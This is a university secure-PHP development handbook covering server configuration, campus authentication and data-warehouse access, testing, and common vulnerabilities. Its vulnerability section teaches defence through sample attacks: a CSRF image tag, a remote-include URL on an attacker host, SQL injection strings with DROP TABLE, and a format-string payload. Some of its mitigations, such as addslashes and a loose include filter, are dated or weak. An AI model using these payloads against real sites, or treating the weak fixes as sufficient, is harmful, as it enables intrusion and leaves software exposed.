Queen's Secure PHP Development Handbook

PHP Security Community of Practice
Revision v1.0

Table of Contents

Introduction

This document provides recommendations and security best practices for PHP development at Queen's University.
The primary goal of this document is to provide a snap shot of current recommendations for PHP developers so they have a solid understanding of how the technology is currently being used on campus, as well as how they are expected to develop.

Readers of this document are expected to be familiar with PHP 5.2 or above, and have a general familiarity with the technologies involved, such as web servers and HTTP.

Document Scope

This document will cover recommended PHP configurations, University standards with regards to authentication and database connectivity, design and testing procedures, as well as common vulnerabilities and how to protect against them.

Please note that this document is an on-going project, so always ensure you are reviewing the latest version.

How To Contribute

We strongly encourage constructive criticism regarding any content in this document, so please feel free to contact the PHP Security Community of Practice by e-mail at phpsec-l@lists.queensu.ca or by contacting Matt Simpson at matt.simpson@queensu.ca.

If you would like to spend some time editing or contributing to this document, we would definitely appreciate your contribution. This latest draft version of this document resides in the Queen's Wiki, and we are easily able to give permissions to others for editing.

About The Authors

The PHP Security Community of Practice was formed to create an environment of collaboration to explore, recommend and test PHP best practices on Campus with focus on security as part of parcel of that focus.

Document Contributors

User	Edits
Andrew Dos-Santos	24
Matt Simpson	33
James G Ellis	10
George Farrah	4
Michael Broekhoven	3
Steven J Hunt	2
Geoff Crowson	2
Justin Kyle Bradley	2

PHP Configuration

PHP is a widely used general purpose scripting language that can be configured and optimized in many different ways, for many different environments. This section will describe how we recommend configuring PHP in both your development and production environment.

For all intensive purposes, we will attempt to make this document platform independent; however, all of our system are running PHP in a Linux / Unix environment.

Prerequisites

1. Since PHP4 is now unsupported and obsolete, the recommendations in this document will target PHP 5.2 and higher. If you are running an earlier version of PHP, we strongly urge you to upgrade your installation.
2. It is strongly advised that prior to configuring your PHP installation, you setup and configure your development and production servers according to the Server Security Standards document created by the **Server Security Standards Group**, a sub-group of the **Queen's Security Community of Practice**.
3. This group recommends that you run Apache as your web-server software, no matter your operating system choice. We realize that Microsoft Windows Server by default runs IIS; however, standardizing on cross-platform, industry standard web-server software like Apache is in all likelihood in your best interest.
4. At this point we have no specific recommendation regarding whether PHP should be running as an Apache module, or in CGI / FastCGI mode. There are inherent benefits and drawbacks to both methods, which need to be discussed further. A place to start might be this; if you are running a shared web-server that is accessed by multiple developers you should consider running PHP in CGI / FastCGI mode due to the fact that PHP is then run as the developers'

user account rather than as the user account that your Apache server is running as.

5. All servers, both development and production, should run the PHPSecInfo (http://phpsec.org/projects/phpsecinfo/index.html) tool by Ed Finkler to test for basic security weaknesses in their setup or configuration. This tool is by no means a complete security test suite; however, it will give you basic recommendations based on your setup. Also note, that you must ensure that after you have tested your server with PHPSecInfo that you remove the script, otherwise it poses a security threat.

Development Environment

During the application development phase you will be creating and testing your application that may contain sensitive information that should not be exposed to the public (i.e. database connection details, private information, debug details, etc). Due to this fact you should never do application development on a production server, all development should be done on a properly configured development environment (localhost or otherwise), which is not accessible to the outside world.

Workspace Recommendations

Although basic code editors can be used to create PHP code, we recommend using an Integrated Development Environment (IDE) to develop your application due to their ability to provide instant feed back on code quality and the ability to facilitate integrated Unit tests. An IDE contains an editor in which you can edit, debug, and view your code in a browser (often embedded), as well as check your code in and out of source control. To support that functionality, an IDE has a set of features you don't find in a basic editor, such as Notepad or Vim. Again, you can extend editors to do a lot of these things, but IDEs have all this functionality in one tidy package that is typically pre-configured. There are many different IDE's available so we will not go as far as recommending a specific one, but a few you can evaluate are: NetBeans, Eclipse, Zend Studio, Aptana, and Komodo.

Source Control

All application source code should be stored in a properly configured and secured source control management system, such as Subversion. Queen's ITS does provide Subversion hosting for on-campus developers, and details can be found here http://www.queensu.ca/its/vcs.html. Source control systems allow code developers to easily access and collaborate on a project, and give new developers to a project an important historical perspective on the code they are to work with.

Subversion Client Setup

The following is a copy of the ~/.subversion/config file that is currently recommended.

```
[miscellany]
enable-auto-props = yes

[auto-props]
# Scriptish formats
*.bat        = svn:keywords=Id; svn-mine-type=text/plain
*.bsh        = svn:keywords=Id; svn:mime-type=text/x-beanshell
*.cgi        = svn:keywords=Id; svn-mine-type=text/plain
*.cmd        = svn:keywords=Id; svn-mine-type=text/plain
```

```
 *.js          = svn:keywords=Id; svn:mime-type=text/javascript
 *.php         = svn:keywords=Id; svn:mime-type=text/x-php
 *.pl          = svn:keywords=Id; svn:mime-type=text/x-perl;
svn:executable
 *.pm          = svn:keywords=Id; svn:mime-type=text/x-perl
 *.py          = svn:keywords=Id; svn:mime-type=text/x-python;
svn:executable
 *.sh          = svn:keywords=Id; svn:mime-type=text/x-sh;
svn:executable

 # Image formats
 *.bmp         = svn:mime-type=image/bmp
 *.gif         = svn:mime-type=image/gif
 *.ico         = svn:mime-type=image/ico
 *.jpeg        = svn:mime-type=image/jpeg
 *.jpg         = svn:mime-type=image/jpeg
 *.png         = svn:mime-type=image/png
 *.tif         = svn:mime-type=image/tiff
 *.tiff        = svn:mime-type=image/tiff

 # Data formats
 *.pdf         = svn:mime-type=application/pdf
 *.avi         = svn:mime-type=video/avi
 *.doc         = svn:mime-type=application/msword
 *.eps         = svn:mime-type=application/postscript
 *.gz          = svn:mime-type=application/gzip
 *.mov         = svn:mime-type=video/quicktime
 *.mp3         = svn:mime-type=audio/mpeg
 *.ppt         = svn:mime-type=application/vnd.ms-powerpoint
 *.ps          = svn:mime-type=application/postscript
 *.psd         = svn:mime-type=application/photoshop
 *.rtf         = svn:mime-type=text/rtf
 *.swf         = svn:mime-type=application/x-shockwave-flash
 *.tgz         = svn:mime-type=application/gzip
 *.wav         = svn:mime-type=audio/wav
 *.xls         = svn:mime-type=application/vnd.ms-excel
 *.zip         = svn:mime-type=application/zip

 # Text formats
 .htaccess     = svn:mime-type=text/plain
 *.css         = svn:mime-type=text/css
 *.dtd         = svn:mime-type=text/xml
 *.html        = svn:mime-type=text/html
 *.ini         = svn:mime-type=text/plain
 *.sql         = svn:mime-type=text/x-sql
 *.txt         = svn:mime-type=text/plain
 *.xhtml       = svn:mime-type=text/xhtml+xml
 *.xml         = svn:mime-type=text/xml
 *.xsd         = svn:mime-type=text/xml
 *.xsl         = svn:mime-type=text/xml
 *.xslt        = svn:mime-type=text/xml
 *.xul         = svn:mime-type=text/xul
 *.yml         = svn:mime-type=text/plain
 CHANGES       = svn:mime-type=text/plain
 COPYING       = svn:mime-type=text/plain
 INSTALL       = svn:mime-type=text/plain
 Makefile*     = svn:mime-type=text/plain
 README        = svn:mime-type=text/plain
```

```
TODO          = svn:mime-type=text/plain

# Code formats
*.c           = svn:keywords=Id; svn:mime-type=text/plain
*.cpp         = svn:keywords=Id; svn:mime-type=text/plain
*.h           = svn:keywords=Id; svn:mime-type=text/plain
*.java        = svn:keywords=Id; svn:mime-type=text/plain
*.as          = svn:keywords=Id; svn:mime-type=text/plain
*.mxml        = svn:keywords=Id; svn:mime-type=text/plain
```

By enabling autoprops and setting the Id svn:keyword in plain-text files, you will be able to add a special "Id" tag to comments in your files which will give other developers important information about the revision they are working with.

Code Commenting

We do not have to explain the importance of commenting your code, but as important as commenting is the format in which you do it. It is our recommendation that PHP developers follow the phpDocumentor comment format. Detailed descriptions and tutorials are available: http://manual.phpdoc.org/HTMLSmartyConverter/HandS/phpDocumentor/tutorial_phpDocumentor.pkg.html

If you properly document your application using the phpDoc format, you will be able to use the phpDoc tools to automatically generate a full developers manual for your application, thus giving new developers the information they need to work on the project.

```
 /**
  * Project Name [ http://www.queensu.ca/projecturl ]
  *
  * General description of this file.
  *
  * @author Organisation: Queen's University
  * @author Unit: Optional School or Unit Here
  * @author Developer: Developer Name Here
<developer@emailaddress.here>
  * @copyright Copyright 2009 Queen's University. All Rights Reserved.
  *
  * @version $Id$
  */
```

Note the Id Subversion keyword under @version phpDoc tag, this will be rewritten to include the filename, revision number, date and time of last edit, and the username of who last edited the file once this file is checked in and out of Subversion:

```
  * @version $Id: profile.class.php 466 2009-06-12 03:41:16Z simpson $
```

Special Considerations

Your development environment needs to be just as secure as your production environment, since code from your development environment will end up in production at some point. We highly recommend that you develop behind a firewall, and implement IP address restrictions as an added security precaution.

php.ini

- php.ini-dist
  The distribution php.ini file is always the default ini file used when you compile or install PHP. It is fairly good for development installations; however, for production we would highly recommend that you review the php.ini-recommended file.
- php.ini-recommended
  The recommended PHP file gives PHP better security and performance; however, you will want to tweek it especially for a development environment.

You will want to change the following:

- display_errors = On
- session.save_path = /tmp

As an alternative to setting up and configuring your own PHP environment on your computer, you can also take advantage of the VMWare image we have created that will run in either VMWare Player or Fusion. This fully operative image complete with:

- Based on Ubuntu 8.04 Server LTS
- Apache 2.2.8
- PHP 5.2.4
- MySQL 5.0.51a
- Zend Framework

Package and operating system updates are available by performing apt-get update; apt-get upgrade
For more information on the development environment visit:
https://wiki.queensu.ca/display/phpsec/howto-php5-dev

Production Environment

As stated in the prerequisites section above, it is strongly advised that prior to configuring your PHP installation, you setup and configure your production server according to the Server Security Standards document created by the **Server Security Standards Group**, a sub-group of the **Queen's Security Community of Practice**.

Special Considerations

- In a production environment the use of opcode caching via APC (the PHP PECL extension) is strongly encouraged as you can receive up to a 300% performance improvement.
- Consider compiling your PHP application for your production environment. When your source code is compiled using a PHP compiler like Zend Guard, even if an intruder gets access to your server they will not be able to read or modify your application source code or view your database connection information.

php.ini

This is the recommended, PHP 5-style version of the php.ini-dist file from the PHP folks. It sets some non standard settings, that make PHP more efficient, more secure, and encourage cleaner coding. The latest revision of the recommended php.ini file can be found here: http://cvs.php.net/viewvc.cgi/php-src/php.ini-recommended?view=co

The price is that with these settings, PHP may be incompatible with some applications, and sometimes, more difficult to develop with. Using this file is warmly recommended for production sites. As all of the changes from the standard settings are thoroughly documented, you can go over each one, and decide whether you want to use it or not.

For general information about the php.ini file, please consult the php.ini-dist file, included in your PHP distribution.
This php.ini file is different from the php.ini-dist file in the fact that it features different values for several directives, in order to improve performance, while possibly breaking compatibility with the standard out-of-the-box behavior of PHP. Please make sure you read what's different, and modify your scripts accordingly, if you decide to use this file.

- display_errors = Off **Security**
  With this directive set to off, errors that occur during the execution of scripts will no longer be displayed as a part of the script output, and thus, will no longer be exposed to remote users. With some errors, the error message content may expose information about your script, web server, or database server that may be exploitable for hacking. Production sites should have this directive set to off.
- log_errors = On **Security**
  This directive complements the above one. Any errors that occur during the execution of your script will be logged (typically, to your server's error log, but can be configured in several ways). Along with setting display_errors to off, this setup gives you the ability to fully understand what may have gone wrong, without exposing any sensitive information to remote users.
- output_buffering = 4096 **Performance**
  Set a 4KB output buffer. Enabling output buffering typically results in less writes, and sometimes less packets sent on the wire, which can often lead to better performance. The gain this directive actually yields greatly depends on which Web server you're working with, and what kind of scripts you're using.
- register_argc_argv = Off **Performance**
  Disables registration of the somewhat redundant $argv and $argc global variables.
- variables_order = "GPCS" **Performance**
  The environment variables are not hashed into the $_ENV. To access environment variables, you can use getenv() instead.
- error_reporting = E_ALL **Code Cleanliness, Security**
  By default, PHP suppresses errors of type E_NOTICE. These error messages are emitted for non-critical errors, but that could be a symptom of a bigger problem. Most notably, this will cause error messages about the use of uninitialized variables to be displayed.
- short_open_tag = Off **Portability**
  Using short tags is discouraged when developing code meant for redistribution since short tags may not be supported on the target server.

University Standards
Authentication

When it comes to authentication there are a few different options available, however, in an effort to remain scalable while maintaining a standard here at Queen's it is recommended that authenticating through LDAP be your first choice. Although a homegrown approach can be taken when it comes to authentication you would be creating more work for yourself as you'd be required to manage and secure user accounts instead of just maintaining a list of users who are allowed access to your applications.

CAS (Queen's Central Authentication Service) is an alternative to LDAP that relieves you of having to manage user accounts however this service is going to be phased out in the near future in favor of Single Sign-On (SSO)through Sun Access Manager by ITS. SSO is the best choice, however it is still in the works so for now LDAP is your best bet.

Authorization: authorization is left to the application predominantly. The application can use role based access control to achieve authorization. while LDAP can be used for that purpose through and LDAP type role, it is best left to the application to determine what users are allowed access to.

Audit Trails. It is important to consider what audit trails would be required for your application, depending on its sensitivity, criticality and its level of personal and confidential information it handles (stores, transmits, and accessed). At a starting point all failed and successful logins and all changes to sensitive data tables might need to be audited. it is important to have a balance in light of the application and database auditing being implemented.

Database Connectivity

As of October 1, 2008, much of the university's data continues to reside on a mainframe-style computer system (including linear tapes as well as on-line storage (e.g. hard disk)). This technology is somewhat limited in how it can access data, as it uses VSAM and/or IMS files, which are not accessible from other platforms such as PHP.

Each night, programs run on the mainframe to generate an extract of the data. This extract is loaded into an an Oracle 10i database, which makes it available to the various departments (units) for their consumption. Through various tools and interfaces (such as PHP's Oracle client libraries or Hummingbird BI Query) this data can be manipulated and turned into something meaningful.

There are multiple "warehouses" of data available. There are Human Resources data (such as biographic, appointment and benefits data), Finance data (accounting information and expense data), as well as Student (enrollment data, biographic data, etc.). Other examples of data warehouses include Degree and Research warehouses.

In order to connect to any of the data warehouses, the Oracle extension must be enabled in PHP and the appropriate client libraries installed. If you are using an ITS-maintained server, these libraries are compiled in to PHP. If not, you should read the PHP manual as well as the Oracle and web server manuals for your particular platform. There are simply too many combinations to cover here.

Connecting to Student Data Warehouse

To gain access to the Student Data Warehouse (SDW), please refer to the following web page as it describes in more detail the nature of the data in the warehouse, who should access it, and conditions of its use
http://www.queensu.ca/registrar/sdw/aboutsdw.html

If you have questions or concerns, you can call Tracy Hodge (tracy.hodge@queensu.ca, x78403) or Paul Pearsall (pearsall@queensu.ca, x78577) to discuss your requirements further.

Once access has been granted, a username and password will be provided which will give you access to the data. Quite often, they will provide you with only the data you request instead of the entire database (also called a "view" in Oracle-speak).

Specific information required to connect to the correct Oracle instance (e.g. hostname, port, and database instance, which resides in the TNSNAMES.ORA file) can be provided by ITS (Ben Poels, poelsb@queensu.ca, x32449) or the Registrar's Office contacts (Tracy or Paul).

Connecting to Human Resources

To request access to HR contact Don Cowin (don.cowin@queensu.ca, x77793, Director, HR Information Systems) with an outline of what information is required. Arrangements will be made to set up a username/password for access if the request is approved. The request provided will define what information will be made available to the user (in this case a programmer).

Specific information required to connect to the correct Oracle instance (e.g. hostname, port, and database instance, which resides in the TNSNAMES.ORA file) can be provided by ITS (Ben Poels, poelsb@queensu.ca, x32449) or through Don Cowin.

Online Payments

Queen's is currently transitioning to a new payment provider and QPay will be phased out. We recommend that any new applications that receive payments use the new system called Chase. Don Zuiker (don.zuiker@queensu.ca) from Information Technology Services can assist in directing people to Chase. The process of using Chase will be established and documented in the near future.

Application Design

When developing a PHP application, it is best to design it before hand using a proven design pattern and integrate already built solutions for functionality that you would otherwise have to create yourself otherwise when possible. A suggested design pattern which works well in PHP development is the Model-View-Controller pattern, the basic idea of using the MVC design pattern is to separate business and display logic.

Definition

Model

The Model is the portion of the application which defines the business logic and contains the data access layer. This means the Model is what gives meaning to all

the raw data of the application, which generally includes defining what actions any specific user can take in the system, and generally connects applications to some form of persistant storage, such as a database.

View
The View is what defines the interface a user will be interacting with based on the action they are performing. Models and Views have a **one to many** relationship, what this means is that each Model can contain many different views, which are all used to perform different functions within the application.

Controller
The basic definition of a Controller, is an event handler which processes and responds to different user actions on a View. Because of this role, Controllers have the ability to indirectly invoke change in the Model.

Implementation

The easiest way to implement a MVC design pattern on a new application as you develop it in PHP, is to include in the project an existing PHP framework such as Zend Framework. Zend Framework contains a class meant to be used to implement the MVC design pattern called Zend_Controller. There is a definite learning curve to beiginning to work with Zend_Controller, but the benefit of working with a solution such as this is that applications you develop that follow a tested design pattern such as this will be more secure and easier to work with in the end. In addition to providing a method to implement the MVC design pattern more easily than creating it from scratch, Zend Framework lends other functionality that you can keep in mind when designing an application to save time later on in the process, so it is a good idea to familiarize yourself with it and other similar solutions that can increase security by lending tested solutions and save time in the overall process of development.

Application Testing

When developing in PHP it is best to do so with PHP's built in error reporting turned on. Having the error reporting turned on and set to E_ALL will cause PHP to display all errors, warnings and notices to you while you develop and test your code.

Although error reporting will help you catch syntactical issues, malformed functions and misused variables, there are still many pitfalls that are common and must be tested for.

Testing code is extremely important from a functional and security perspective. please find attahched a document that can help you develop a testing plan for your application. From a security and audit pespective, having a documented plan is imperative.

Security Auditing and Penetration Testing

We are now able to offer security testing as a service. No fee is defined but you can contact Changuk Sohn at ITS to schedule a penetration test on your web application any time.

Also, there are tools that will enable some security testing at the operatinjg system and application levels. We recommend NESSUS from http://www.nessus.org or web scarab and Nikto as initial tools that can be used.

Testing for New Applications

As part of the system development life cycle unit testing is a key component when it comes to building new applications. Unit testing is a software verification and validation method in which a programmer tests that individual units of source code are fit for use. A unit is the smallest testable part of an application. In procedural programming a unit may be an individual program, function, procedure, etc., while in object-oriented programming, the smallest unit is a class, which may belong to a base/super class, abstract class or derived/child class. It is recommended that code be written using the MVC methodology (as described above in Application Design) in an object-oriented fashion so that PHPUnit may be used to assist with unit testing. Zend Framework would be a great tool for development in order to support this approach as by default Zend Framework supports MVC development.

Ideally, each test case is independent from the others. Unit tests are typically written and run to ensure that code meets its design and behaves as intended. It should be noted that the common attacks noted in the Security Vulnerabilities section of this document should be tested for.

Testing for Existing Applications / Commercial Software

Although building OOP code and using UnitTest to test the code base is ideal with respect to hardening one's code, when it comes to legacy and commercial applications this is sometimes impossible. Instead, it is recommended that Nessus be used to test for vulnerabilities.
Nessus is an open-source network vulnerability scanner that uses the Common Vulnerabilities and Exposures architecture for easy cross-linking between compliant security tools. Nessus employs the Nessus Attack Scripting Language (NASL), a simple language that describes individual threats and potential attacks.

A tutorial on how to use Nessus can be found here.

Acceptance Testing is a high level testing procedure that ensures that an application behaves as expected by the client and is a great test to run against legacy applications. Selenium is a good tool for performing acceptance testing on existing applications.

Security Vulnerabilities

The best way to protect against exploits is to have thorough, comprehensive knowledge of the methods of attack. Demonstrations of the exploits and recommendations for protecting against them, as well as identifying potential vectors for attack will help to secure our sites and applications.

This section will outline popular known attacks, and ways to safeguard your code.

CSRF (Cross Site Request Forgeries) Attacks

Description

Cross-site request forgery, also known as one click attack, sidejacking or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a type of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts.

Example

The attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have authenticated.
For example, one user, Bob, might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references a script on Bob's bank's website (rather than an image file), e.g.,

```
 <img
src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallor
y" \>
```

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then Bob's browser's attempt to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user that is authenticated by a cookie saved in his web browser could unknowingly send an HTTP request to a site that trusts him and thereby cause an unwanted action.

CSRF attacks using images are often made from Internet forums, where users are allowed to post images but not JavaScript.
This attack relies on a few assumptions:

The attacker has knowledge of sites on which the victim has current authentication (more common on web forums, where this attack is most common):

- The attacker has knowledge of sites on which the victim has current authentication (more common on web forums, where this attack is most common)
- The attacker's "target site" has persistent authentication cookies, or the victim has a current session cookie with the target site
- The "target site" doesn't have secondary authentication for actions (such as form tokens)

While having potential for harm, the effect is mitigated by the attacker's need to "know his audience" such that he attacks a small familiar community of victims, or a more common "target site" has poorly implemented authentication systems (for instance, if a common book reseller offers 'instant' purchases without re-authentication).

Prevention

For the web site, switching from a persistent authentication method (e.g. a cookie or HTTP authentication) to a transient authentication method (e.g. a hidden field provided on every form) will help prevent these attacks. A similar approach is to include a secret, user-specific token in forms that is verified in addition to the cookie. An alternate method is to "double submit" cookies. This method only works with Ajax based requests, but it can be applied as a global fix without needing to alter a large number of forms. If an authentication cookie is read using JavaScript before the post is made, the stricter (and more correct) cross-domain rules will be applied. If the server requires requests to contain the value of the authentication cookie in the body of POST requests or the URL of GET requests, then the request must have come from a trusted domain, since other domains are unable to read cookies from the trusting domain. On the other hand, this method forces users to enable JavaScript, negating the only way a user has to prevent most cross-site scripting vulnerabilities from being exploited.

The simple <img> example above would use a GET request. In this case, the CSRF can be prevented by following the HTTP specified usage for GET and POST, namely that GET requests should not change anything on the server; only POST requests are accepted for making changes. However, requiring POST instead of GET does not offer full protection because JavaScript can be used to forge POST requests across domains using HTML forms.

Checking the HTTP referrer header to see if the request is coming from an authorized page can work, but a request that omits the Referer header must be treated as unauthorized because an attacker can suppress the Referer header by issuing requests from FTP URLs. This strict Referer validation may cause issues with browsers or proxies that omit the referrer header (e.g. due to a user's privacy settings or because the referrer is an HTTPS page.) Also, depending on the browser and proxy being used, it may be possible to spoof a referrer header for a cross-site request by exploiting vulnerabilities in Internet Explorer or Flash.

Although cross-site request forgery defenses typically require modifying the web application, individual users can help protect their accounts at poorly designed sites by logging off the site before visiting another. Site designers should help users do this by providing a log-off facility and encouraging its use.

Remote Code Execution

Description

Remote Code Execution refers to a situation where malicious code written by an attacker is executed on a server being attacked. Attackers can gain access to databases on the server, modify files, and potentially get shell access where any number of commands can be executed.

Example

Some PHP applications include the files they need to display a page based on URL arguments.

```
$report = $_GET['report_name'];
include $report;
```

The above code is vulnerable to remote code execution. A regular user would visit this page at http://example.com/report.php?report_name=totals.php, but an attacker could craft a request to include code of their own. Say they had a file on their own website called code.txt with these contents:

```
 echo "You've been hacked!";
```

If the attacker then visits the page http://example.com/report.php?report_name=http://attackersite.com/code.txt the PHP file will include the code.txt file, and execute the code contained in it instead of including the page it was supposed to. The remote code could download a program to give the attacker root access, or it could look through the files on the server to get the database information, or it could deface pages of the site.

Other vulnerable functions are fopen(), fsockopen(), popen(), system(), eval(), include(), include_once(), require(), require_once(), file_get_contents(), imagecreatefromXXX(), mkdir(), unlink(), and rmdir() if they are used with variable arguments.
The INI configuration option allow_url_fopen is true by default which makes some of these functions vulnerable also.

Prevention

The most effective manner of preventing these attacks is always, always validating user input, as is the case with SQL injection and XSS attacks.
For the above example, it is known that the page to be included must be present on the local filesystem. Since this is the case, it can be checked that the file exists before it is included, and otherwise just include a default file. The $_GET variable will also be sanitized to prevent any unnecessary characters from coming through.

```
 $report = $_GET['report_name'];

 // Only allow a minimal number of characters conforming with what is
expected in a URL
 $report = preg_replace(array("/[^a-z0-9_\-\.\/\~\?\&\:\#\=\+]/i",
"/(\.)\.+/", "/(\/)\/+/"), "$1", $report);

 if ((@file_exists($report)) && (@is_readable($report))) {
     require_once($report);
 } else {
     require_once($default_directory."404.inc.php");
 }
```

This code is much more safe. It ensures there are no unexpected characters in the URL variable and it only includes files that are present on the local filesystem and readable.

These strategies can also be adopted to prevent remote code injection:

- Try to limit the use of dynamic inputs from users to vulnerable functions either directly or using wrappers
- Unsanitized input can never be trusted in any circumstance and must always be validated. Don't just rely on addslashes() or magic_quotes_gpc for sanitization.
- Disable allow_url_fopen in php.ini by setting it to 0

- Enable safe_mode (don't just rely on this, it's not actually very safe)
- Lockdown the server environment to prevent the server from making new outbound requests if possible

SQL Injection Vulnerabilities

Description

SQL injection refers to a situation where user input is used within database queries, and the input is crafted to perform SQL actions
the developer did not intend. Attackers can gain access to data not intended for them, as well as causing damage to the database itself.

Example

A simple example illustrates as follows:

```
     // an HTML form allows a user to change their password to a site.
     // The userid and password is stored in POST variables $userid and
$pw.
     // the target PHP code to perform the password change is as
follows:
     $sql = "Update passwords set password = '$password' where userid =
'$userid'" ;

     // An attacker uses this form and enters a new password, and
enters the following
     // string for the userid:
     mike' or 'Y' = 'Y

     // then the SQL statement crafted above becomes
     $sql = "Update passwords set password = '$password' where userid =
'mike' or 'Y' = 'Y'" ;

     // clearly the developer did not intend the user to be able to
change ALL passwords in the database.

     // a more destructive example is when the attacker enters the
following value for userid:
     mike' ; DROP table users ; DROP table passwords ;

     // the SQL becomes :
     $sql = "Update passwords set password = '$password' where userid =
'mike'; DROP table users; DROP table passwords;'" ;

     // again, probably not what the developer intended. Or, if the
attacker had knowledge of the database table structure
     // from a previous attack, you can see how a statement generated
from input below would be undesirable.
     mike' ; insert into users (userid, password, super_user) values
('evildoer', 'here_we_come', 'Y') ;
```

More involved attacks be the groundwork for other types of attacks. For example, attackers can inject javascript into database fields for display later onto other browsers using "echo" statements (initiating cross site scripting attacks.) Attackers

can take advantage of vendor-specific vulnerabilities using vendor-specific escape characters and database features.

Prevention

Solutions to avoid this type of attack are:

1. Validate all user input. Exercise pattern matching, strip invalid characters, reject suspicious input. Examples: A userid field should accept only valid alpha-numeric characters and limit to the appropriate string length, if expecting a numeric value, validate that it is strictly numeric and within a reasonable range, etc. This should apply to all POST and GET variables, cookies, input from files, input from web services, etc. The checks must be done before you display on screen or use in a SQL statement. It is important to note that even input which is from coded values (e.g. radio buttons) must be validated as these can be altered and corrupted at the client side. This validation can be custom coded, or can be part of a vendor-specific solution framework or library. For instance, Zend Framework:Zend_filter extensions.
2. Use native escape functions such as database-specific versions like mysql_real_escape_string() (best), or generic functions like add_slashes() (better than nothing). These will escape any characters that may be used in an attack.
3. Allow only one SQL statement at a time to be used in your application. This can be often be set as a configuration setting in your database-specific library, or can be done within your application.
4. Log SQL statements so as to assist investigation in case a breach occurs.
5. Look into parameterized statements, using vendor specific libraries, or PEAR.

References

1. See php.net, documentation on function addslashes(), get_magic_quotes_gpc(), mysql_real_escape_string()
2. http://www.php.net/manual/en/security.database.sql-injection.php
3. http://en.wikibooks.org/wiki/Programming:PHP:SQL_Injection

Format String Vulnerabilities

Description

Format String Vulnerabilities refer to the use of printf, sprintf or other string formatting functions to overload the buffer, read memory addresses from variables in the system, change the value of variables and run custom code on the server. This vulnerability only applies to PHP 3 prior to 3.0.17 and PHP 4 prior to 4.0.3, and only when error logging is enabled.

It applies to PHP 3 when user input is used in the error_log function, and applies to PHP 4 on the occasion that a file is uploaded by POST which exceeds the maximum upload file size and has a title containing format string exploit code.

Example

```
//PHP 3:
$username = $_GET["username"];
```

```
 // This allows the user to place string format exploit code into the
get variable "username" such as :
 // '%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s' which will show the
memory address where data is
 // stored and has a good chance of trying to read an illegal address
and crash PHP.

 if (strlen($username) > 12)
     error_log("The username [".$username."] was invalid.");

 //PHP 4: requires no specific code to cause this exploit other than
having error logging enabled.
```

Prevention

1. Update your version of PHP running to one which has this issue fixed.
2. If you cannot do this, disable error logging.
3. If you are running PHP 3 and cannot update to a version after 3.0.17, ensure you have no error logging which includes any form of user inputted data.

References

1. A technical description of why this occurs based on the code behind PHP 3 and 4: http://www.xatrix.org/advisory.php?s=6465
2. A description of how format strings can be used: http://www.owasp.org/index.php/Format_string_attack

XSS (Cross Site Scripting) Vulnerabilities

Description

Cross-Site Scripting attacks are a type of injection problem, where malicious scripts are injected into otherwise benign and trusted sites. Generally XSS attacks occurs when an attacker uses a web application to submit malicious code, usually through a form element, then when another user requests the information the attacker submitted, the malicious code executes on their browser. Any application which allows user input to contain html tags without strict filtering and validation is vulnerable to this type of attack.

Once an attacker has injected the malicious code into the application, end user's browser has now way to determine that the script should not be trusted and will execute the script normally. The malicious script can then access the browser's cookies, session tokens and other information retained by the browser or even rewrite the contents of an HTML page to say what the attacker wishes.

Example

A quick search will almost always result in some page or other which allows XSS to occur. An example of the type of functionality that allows users to inject scripts into a page someone else views is as follows:

```
<?php

 echo "<h1>". $_GET["title"] ."</h1>";
 echo "Page content, blah blah blah.";
```

```
?>
```

This simple example uses a get variable to set the contents of an html element on the page. So a user may not be able to inject script into this page before-hand and wait for users to view it, but the attacker could take advantage of this vulnerability by giving out a link that contains the malicious code in the get variable. An example of this type of vulnerability is found on the Canadian Tire website, though it doesn't use php - the idea is the same.

The other form of the attack would be in something like a guestbook, where the attacker submits data that will later be viewed by other users. Rather than show example code of this issue, here's a random guestbook I found on Google which is vulnerable to XSS and I've made a post to create an alert box on page-load.

Prevention

There are various solutions out there currently to prevent XSS but the basis of all of them, software and guides, is that input should be filtered, HTML should only be allowed where absolutely necessary and javascript in any form should no be submitted in any way by the user. While it is possible to create a homegrown solution to prevent XSS (a good starting point for that is here) , it is suggested you use a tested and proven solution, for example HTML Purifier is an open source solution which is relatively easy to set up to filter all information which requires some html to be allowed.

Conclusion

The basic purpose of this document is to create a set of guidelines and standards regarding the development of PHP in the Queen's University community. Through addressing the issues of PHP Configuration, coding standards in the university, application design and testing and the 5 most relevant security vulnerabilities, this document should be an excellent starting point for developers who wish to make secure applications in the Queen's community.

Appendices

It is recommended that all PHP developers read and familiarize themselves with the PHP Security Guide (html, pdf, DocBook Lite), by the PHP Security Consortium. This project, lead by Chris Shiflett, highlights the importance of security in your applications, and further extends the principles and attacks covered in this document.